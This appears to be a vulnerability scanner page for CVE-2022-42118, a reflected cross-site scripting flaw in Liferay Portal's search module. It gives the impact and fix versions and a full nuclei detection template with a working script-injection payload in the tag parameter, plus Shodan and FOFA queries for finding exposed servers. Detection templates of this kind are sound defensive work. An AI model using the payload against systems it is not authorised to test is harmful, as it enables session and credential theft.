Liferay Portal - Cross-site Scripting

mediumseverity

6.1CVSS score

1.3%likelihood of exploitation, next 30 days

70%of all CVEs are less likely

Readycheck to confirm it

A Cross-site scripting (XSS) vulnerability in the Portal Search module in Liferay Portal 7.1.0 through 7.4.2, and Liferay DXP 7.1 before fix pack 27, 7.2 before fix pack 15, and 7.3 before service pack 3 allows remote attackers to inject arbitrary web script or HTML via the `tag` parameter.

Impact

Unauthenticated attackers can inject malicious JavaScript through the tag parameter in the Portal Search module to steal Liferay Portal user session cookies and credentials.

Fix

Update to Liferay Portal 7.4.3+, DXP 7.1 fix pack 27+, DXP 7.2 fix pack 15+, or DXP 7.3 service pack 3+.

How to confirm it

Send: GET {{BaseURL}}/web/guest/home?p_p_id=com_liferay_portal_search_web_portlet_SearchPortlet&p_p_lifecycle=0&_com_liferay_portal_search_web_portlet_SearchPo…
Positive when: contains "<script>alert(document.domain)</script>" AND contains in header "text/html" and "Liferay Portal" AND status 200

Run it with nuclei: nuclei -id CVE-2022-42118 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-42118

info:
  name: Liferay Portal - Cross-site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    A Cross-site scripting (XSS) vulnerability in the Portal Search module in Liferay Portal 7.1.0 through 7.4.2, and Liferay DXP 7.1 before fix pack 27, 7.2 before fix pack 15, and 7.3 before service pack 3 allows remote attackers to inject arbitrary web script or HTML via the `tag` parameter.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the tag parameter in the Portal Search module to steal Liferay Portal user session cookies and credentials.
  remediation: |
    Update to Liferay Portal 7.4.3+, DXP 7.1 fix pack 27+, DXP 7.2 fix pack 15+, or DXP 7.3 service pack 3+.
  reference:
    - https://issues.liferay.com/browse/LPE-17342
    - https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/cve-2022-42118
    - https://nvd.nist.gov/vuln/detail/CVE-2022-42118
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-42118
    cwe-id: CWE-79
    epss-score: 0.01022
    epss-percentile: 0.63719
    cpe: cpe:2.3:a:liferay:liferay_portal:*:*:*:*:*:*:*:*
  metadata:
    vendor: liferay
    product: liferay_portal
    shodan-query: html:"var Liferay"
    fofa-query: body="var Liferay"
  tags: cve,cve2022,liferay,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/web/guest/home?p_p_id=com_liferay_portal_search_web_portlet_SearchPortlet&p_p_lifecycle=0&_com_liferay_portal_search_web_portlet_SearchPortlet_keywords=test&_com_liferay_portal_search_web_portlet_SearchPortlet_scope=this-site&_com_liferay_portal_search_web_portlet_SearchPortlet_assetTagNames=<script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"
          - "Liferay Portal"
        condition: and

      - type: status
        status:
          - 200

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